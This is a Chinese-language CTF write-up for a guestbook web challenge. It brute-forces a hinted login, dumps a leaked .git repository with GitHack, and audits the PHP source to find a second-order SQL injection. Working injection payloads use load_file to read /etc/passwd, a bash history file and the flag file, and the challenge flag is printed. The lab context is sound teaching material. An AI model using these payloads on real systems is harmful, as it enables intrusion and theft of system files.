网站的登录框里有提示
账号:zhangwei
密码:zhangwei***(后三位要自己猜)
用burpsuit抓包爆破发现密码为zhangwei666
进去后就一个留言榜(目前没发现怎么用)
扫一下网站发现git泄露
1.下载
进入root用户,下载克隆git hack库
git clone https://github.com/BugScanTeam/GitHack
下载完成后,进入GitHack,发现5个文件,说明ok了
2.使用
*****使用GitHack时,一定要在Git Hack目录下*****
python GitHack.py 链接/.git/
首先看kali中的python版本,GitHack必须使用python2
需要将python该为python2
python2 GitHack.py 链接/.git/
出现GitHack,就代表成功了,Githack目录下就会新增一个扫描的文件
然后就是用GitHack下载源码
python2 GitHack.py http://61.147.171.105:62125/.git/
下载的文件会在dist目录下
查看源码,发现好像代码不全
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':break;
case 'comment':break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>
使用命令补全
git log --reflog
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
代码审计
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>
发现存在sql二次注入,在代码comment模块中 $category没有进行过滤就直接放入了sql语句中
$category和$content我们可以控制
其中注意这个sql语句是换行的,我们要用/**/ 进行拼接
$sql = "insert into commentset category = '111',content=user(),/*',content = '*/#',bo_id = '$bo_id'";
在category 构造payload: 111',content=user(),/**
在详细里我们提交 */# 来闭合,这里得到了用户
同理构造查看密码
111',content=(select(load_file('/etc/passwd'))),/**/#
构造读取他的history文件,查看历史记录操作
111',content=(select (load_file('/home/www/.bash_history'))),/**/#
发现原本/tmp/html/目录下有个.DS_Store文件
构造查看这个文件
111',content=(select (load_file('/tmp/html/.DS_Store'))),/**/#
发现长度不够
构造HEX编码
111',content=(select hex(load_file('/tmp/html/.DS_Store'))),/**/#
发现是16进制编码
十六进制到ASCII文本
解码发现flag_8946e1ff1ee3e40f.ph文件
构造查看
111',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/**/#
同样解码,发现flag
$flag="flag{0dd14aae81d94904b3492117e2a3d4df}";